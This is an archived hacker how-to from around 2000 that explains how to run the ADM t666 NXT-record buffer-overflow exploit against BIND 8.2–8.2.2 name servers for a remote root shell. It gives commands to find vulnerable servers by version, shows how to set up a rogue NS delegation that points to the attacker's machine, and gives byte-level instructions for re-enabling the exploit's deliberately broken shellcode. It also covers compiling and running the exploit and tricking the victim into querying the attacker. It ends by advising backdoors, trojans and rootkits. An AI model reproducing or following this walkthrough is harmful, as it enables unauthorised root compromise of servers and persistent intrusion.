home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / exploithowto / nxt-howto.txt < prev   
Encoding:
Text File  |  2000-12-24  |  12.7 KB  |  324 lines

  1.  
  2.     +-------------------------------------------------------+
  3.     |BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind|
  4.     +-------------------------------------------------------+
  5.  
  6.  
  7. (A) What is a DNS?
  8.  
  9.       1. How do I query a DNS?
  10.       2. How do I find a vulnerable DNS?
  11.  
  12.  
  13. (B) How do I edit DNS entries?
  14.  
  15.       1. How do I find a Zone file?
  16.       2. How do I edit a Zone file?
  17.  
  18.  
  19. (C) How do I exploit a vulnerable machine
  20.  
  21.       1. What do I need to obtain before I could use the exploit?
  22.       2. What is the theory behind the exploit?
  23.       3. Where do I get the exploit from?
  24.       4. Why should I patch the exploit?
  25.       5. How do I patch the exploit?
  26.       6. How do I compile the exploit?
  27.       7. How do I run the exploit?
  28.       8. How do I make the vulnerable server make a query to my ip?
  29.       9. What should I do before I leave the shell?
  30.  
  31.  
  32. (D) Who should be credited for this HowTo?
  33.  
  34.       1. Who is the person that motivated me into writing this?
  35.       2. Who am I?
  36.       3. Can I distribute/change this HowTo?
  37.       4. Final Credits and Greets :)
  38.  
  39.  
  40. Section A - What is a DNS?
  41. --------------------------
  42.  
  43.    A DNS - Domain Name Server, is used to convert host names to IP addresses
  44.    and IP addresses to host names.
  45.    for example: www.infoseek.com = 204.162.96.173
  46.  
  47.       1. How do I query a DNS?
  48.      First of all, you should probably know that when you configure your
  49.      TCP/IP and wish to use hostnames in your web browser to get to a web
  50.      site, instead of typing the IP address of that site, you would need
  51.      to configure a DNS server. You will get your DNS server IP address
  52.      from your ISP. To make queries to the DNS server, Unix systems
  53.      (and NT) has a tool calls "nslookup", the syntax of that tool is:
  54.      $nslookup <hostname>
  55.      or
  56.      $nslookup <ip>
  57.      A properly configured DNS server contains two "lists" for a domain
  58.      called the Zone files. One zone file is used for hostname to IP
  59.      resolution, and the other is used for reverse lookup or IP to Hostname
  60.      resolution. "nslookup" can be used in an interactive way, this is the
  61.      way we will work with, as it is more powerful. Just type nslookup at
  62.      the shell and press enter. You will get a ">" prompt, from which you
  63.      can start typing in IP addresses and hostnames. There are some
  64.      commands in nslookup which we will discuss later in this howto that
  65.      will allow you to get some more information.
  66.  
  67.       2. How do I find vulnerable systems?
  68.      Remember, we will exploit Name Servers.
  69.      We first need to find out the version of the DNS service that runs on
  70.      a remote host. As well, we will need to know the Operating System, but
  71.      there are many HowTo`s on that. We will use a tool called "dig", which
  72.      is available on most Unix systems. The syntax looks like this:
  73.      $dig @<victim_ip> version.bind chaos txt | grep \"8
  74.      look at the output. If you see: 8.2 or 8.2.1 or 8.2.2 then it is
  75.      vulnerable. If you see 8.2.2P2 - P5, it is not.
  76.      If you don't get an output and you just see your terminal stuck, it
  77.      means that the DNS admin has probably edited the source so that the
  78.      server won't give you this information. IT COULD BE VULNERABLE.
  79.  
  80.  
  81. Section B - How do I edit DNS entries?
  82. --------------------------------------
  83.  
  84.    The first thing you should know is, DNS is only text files, and entries are
  85.    added or changed by editing those text files and restarting the service.
  86.    The main file that controls the DNS service is /etc/named.conf or
  87.    /etc/named.boot. If /etc/named.conf exists, that is the file you should be
  88.    working with.
  89.  
  90.       1. How do I find a Zone file?
  91.      As I said earlier, a properly configured DNS has two "lists" or zone
  92.      files for each domain it serves.
  93.      you will need to edit that zone file to change or add entries to that
  94.      domain. A domain is for example, infoseek.com, and a hostname is www,
  95.      the FQDN is www.infoseek.com. FQDN stands for Fully Qualified Domain
  96.      Name. To find the zone file for FQDN to IP for infoseek.com domain,
  97.      we should first query our DNS server to tell us what is the primary
  98.      DNS for infoseek.com. This is how it is done:
  99.      
  100.      $nslookup
  101.      Default Server:  xxxxxx.xxxxxxx.xx.xx
  102.      Address:  xxx.xx.xx.xx
  103.      >set q=ns<ENTER>
  104.      >infoseek.com<ENTER>
  105.      >infoseek.com      nameserver = NS-UU.infoseek.com
  106.      >NS-UU.infoseek.com    internet address = 198.5.208.3
  107.  
  108.      As you can see, now we have the ip address of the name server of
  109.      infoseek.com. Let us suppose that we are root there.
  110.      We SSH to their DNS, and locate the file /etc/named.conf
  111.      We view the file and we see at the top an options section.
  112.      there is a line there that says:
  113.      directory "/var/named"
  114.      This means, that the zone files will sit in /var/named.
  115.      We further look down the file and we see some zone sections,
  116.      We see a zone for infoseek.com which looks like:
  117.  
  118.      zone "infoseek.com"{
  119.           type master;
  120.           file "infoseek.com.zone";
  121.      };
  122.  
  123.      As we can understand now, the zone file is:
  124.      /var/named/infoseek.com.zone, and that is the file which we should
  125.      edit.
  126.  
  127.       2. How do I edit a Zone file?
  128.      First, let's take a look at that zone file.
  129.      We see at the top a SOA record, which probably looks to you like a
  130.      block of garbage text at the top.
  131.      then, we see something like:
  132.      
  133.      @                 IN     NS      NS-UU.infoseek.com.
  134.      www               IN     A       204.192.96.173
  135.      ftp               IN     CNAME   corp-bbn
  136.      corp-bbn          IN     A       204.192.96.2
  137.      .
  138.      .
  139.      .
  140.      
  141.      As we can see, there are several types of records, for our exploit to
  142.      work, we only need to focus on one record, which is NS.
  143.      An A record is the typical Hostname to IP record type.
  144.      CNAME is a Canonical Name, which is an Alias to an A record.
  145.      A PTR record is a Pointer record, which is the oposit of A, it points
  146.      IP addresses to FQDN`s. PTR`s are used in the "other" zone file.
  147.      We will not discuss about it here but it is recommended that you read
  148.      about DNS, there are many good books about DNS out there, read one.
  149.      An NS record is a Name Server record type which says what is the Name
  150.      Server for a specific domain or sub-domain.
  151.      As you might have noticed, the NS record NS-UU.infoseek.com ends with
  152.      a ".".
  153.      This is because we specified the FQDN and not the hostname.
  154.      When the period is omitted, the domain name is added after the
  155.      hostname and if we where to omit the last period, it would be like we
  156.      have said:
  157.      NS-UU.infoseek.com.infoseek.com.
  158.      So instead of:
  159.  
  160.      www                    IN      A       204.192.96.173
  161.      we could write:
  162.      www.infoseek.com.      IN      A       204.192.96.173
  163.      Which is the same thing.
  164.      
  165.      For our exploit to work, we will need to add a sub-domain to a name
  166.      server on the net. So let's again suppose that we are root at
  167.      NS-UU.infoseek.com.
  168.      
  169.      How do we add a sub-domain?
  170.      We just need to add another NS record.
  171.  
  172.      subdomain              IN      NS      hacker.box.com.
  173.  
  174.      this means that the name server of the domain subdomain.infoseek.com
  175.      would be hacker.box.com.
  176.      hacker.box.com needs to be resolved to a your machine's IP address, so
  177.      enter your FQDN instead.
  178.      Now, we need to restart the name server so the changes will take
  179.      effect.
  180.      initiate the following command:
  181.      
  182.      #/usr/sbin/ndc restart<ENTER>
  183.      new pid is 24654
  184.      #
  185.  
  186.  
  187. Section C - How do I exploit a vulnerable machine
  188. -------------------------------------------------
  189.  
  190.       1. What do I need to obtain before I could use the exploit?
  191.      First of all, 3 brain cells. ;p
  192.      You will also need root privileges on a PRIMARY Name Server on the
  193.      Internet which is Authoritative for a Domain on the net.
  194.      Also, you will need a machine from which you will run the exploit.
  195.      As for the DNS requirement, you could also ask someone that has root
  196.      privileges on such a DNS, to edit the zone files for you.
  197.  
  198.       2. What is the theory behind the exploit?
  199.      The exploit uses a Buffed Overflow in BIND versions 8.2 - 8.2.2 to
  200.      gain a remote root shell.
  201.      The exploit binds to port 53 on the local machine, and acts as a DNS
  202.      server. When someone queries it, it will send a large NXT record that
  203.      contains code that will exploit the remote BIND server,
  204.      provided that it is a vulnerable machine.
  205.      To get more information on how Buffer Overflows work, *PLEASE* read
  206.      Aleph One`s exelent article:
  207.      
  208.      Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
  209.      URL: http://www.phrack.com/search.phtml?view&article=p49-14
  210.  
  211.       3. Where do I get the exploit from?
  212.      http://www.hack.co.za/exploits/daemon/named/t666.c
  213.  
  214.       4. Why should I patch the exploit?
  215.      You might have heard that one needs to patch the exploit to make it
  216.      work. This is because ADM thought only elite hax0rs should use their
  217.      exploit and so, they planted a small "bug" in the code.
  218.      What they actually did, is change the shell codes so that instead of
  219.      running /bin/sh, the exploit will run /adm/sh.
  220.  
  221.       5. How do I patch the exploit?
  222.      As you may see, only a small change needs to be done in the code.
  223.  
  224.      / = 2F(HEX)   ===>  / = 2F(HEX)
  225.      a = 61(HEX)   ===>  b = 62(HEX)
  226.      d = 64(HEX)   ===>  i = 69(HEX)
  227.      m = 6D(HEX)   ===>  n = 6E(HEX)
  228.      / = 2F(HEX)   ===>  / = 2F(HEX)
  229.  
  230.      So, all we need to do, is search the source code for
  231.      0x2f,0x61,0x64,0x6d,0x2f and replace it with 0x2f,0x62,0x69,0x6e,0x2f
  232.  
  233.      Done.
  234.  
  235.       6. How do I compile the exploit?
  236.      As always:
  237.      $gcc t666.c -o t666<ENTER>
  238.      $
  239.  
  240.       7. How do I run the exploit?
  241.      $su<ENTER>
  242.      Password:<password><ENTER>
  243.      #./t666 1<ENTER>
  244.      
  245.      Now the exploit is bound to port 53 (if you run a DNS server on the
  246.      machine you want to run the exploit on, you must first kill the name
  247.      server, use: #killall -9 named)
  248.      The exploit is now waiting for queries, the second someone will query
  249.      your exploit machine you will get an output:
  250.      Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1
  251.      If it was a DNS server, it would enter a proxy loop, and if it is a
  252.      vulnerable server, running on Linux Redhat 6.x    - named 8.2/8.2.1
  253.      (from rpm) (this is because we chose architecture 1, type ./t666
  254.      without arguments and you will get a list of the architectures that
  255.      the exploit will work on, I have tried it on Redhat linux only, so
  256.      don't ask me why solaris doesn't work, I don't have a solaris to test
  257.      it on, nor do I have the time to put more effort on this exploit.)
  258.      You will get a remote root shell.
  259.  
  260.       8. How do I make the vulnerable server make a query to my ip?
  261.      This is very easy now, once you have added a subdomain in a name
  262.      server on the net and made yourself its DNS, the only thing left to
  263.      do, is query the vulnerable server for a host inside the added
  264.      subdomain.
  265.  
  266.      $nslookup
  267.      >server <victim><ENTER>
  268.      >www.subdomain.infoseek.com<ENTER>
  269.  
  270.      What will happen, is the server will ask, in this case
  271.      NS-UU.infoseek.com for the IP of www.subdomain.infoseek.com.
  272.      NS-UU.infoseek.com will start searching and will get to subdomain,
  273.      because subdomain has its OWN NS record, it will tell <victim> that
  274.      hacker.box.com. (your hostname in this case) is the Authoritative Name
  275.      Server for subdomain.infoseek.com. Now, what will happen, is that
  276.      <victim> will query hacker.box.com, for the ip address of
  277.      www.subdomain.infoseek.com. BOOM! :)
  278.  
  279.       9. What should I do before I leave the shell?
  280.      When you exploit BIND, it will crash named, so you need to add some
  281.      kind of a back door so you could log back in and restart it.
  282.      *DO NOT TRY TO RESTART IT WHITHIN THE SHELL.*
  283.      There are plenty of trojans and rootkits you could install on the
  284.      server, I leave that to you.
  285.  
  286.  
  287. Section D - Who should be credited for this HowTo?
  288. --------------------------------------------------
  289.  
  290.       1. who is the person that motivated me into writing this?
  291.      That person is no other the gov-boi, he operates the great site
  292.      www.hack.co.za. Without him, this How-To would have never been writen!
  293.      Thanks Gov-Boi :)
  294.  
  295.       2. whoami?
  296.      I am E-Mind, you can find me on IRC (EFNet)
  297.      I am not giving away my E-Mail, and will not answer stupied questions.
  298.      I think I have provided everything you need to RUN the exploit in this How-To.
  299.      If not, and if you find errors, PLEASE /msg me on IRC.
  300.  
  301.       3. can I distribute/change this HowTo?
  302.      I take no responsibility for your actions.
  303.      You are free to do whatever you want with this file
  304.  
  305.      *AS LONG AS "SECTION D" REMAINS UNTOUCHED*
  306.  
  307.       4. Final Credits and Greets :)
  308.  
  309.      Credits:
  310.      
  311.      Gov-Boi - Keep up the good work man! ;p
  312.      
  313.      Aleph One - no other article out there explains buffer overflows
  314.              better then yours!
  315.      
  316.      ADM - for writing this cool exploit.
  317.  
  318.  
  319.      Greetz:
  320.  
  321.      #myth!, #!glich, #972, #darknet, #feed-the-goats -  `sup guyz? ;]
  322.  
  323.  
  324. EOF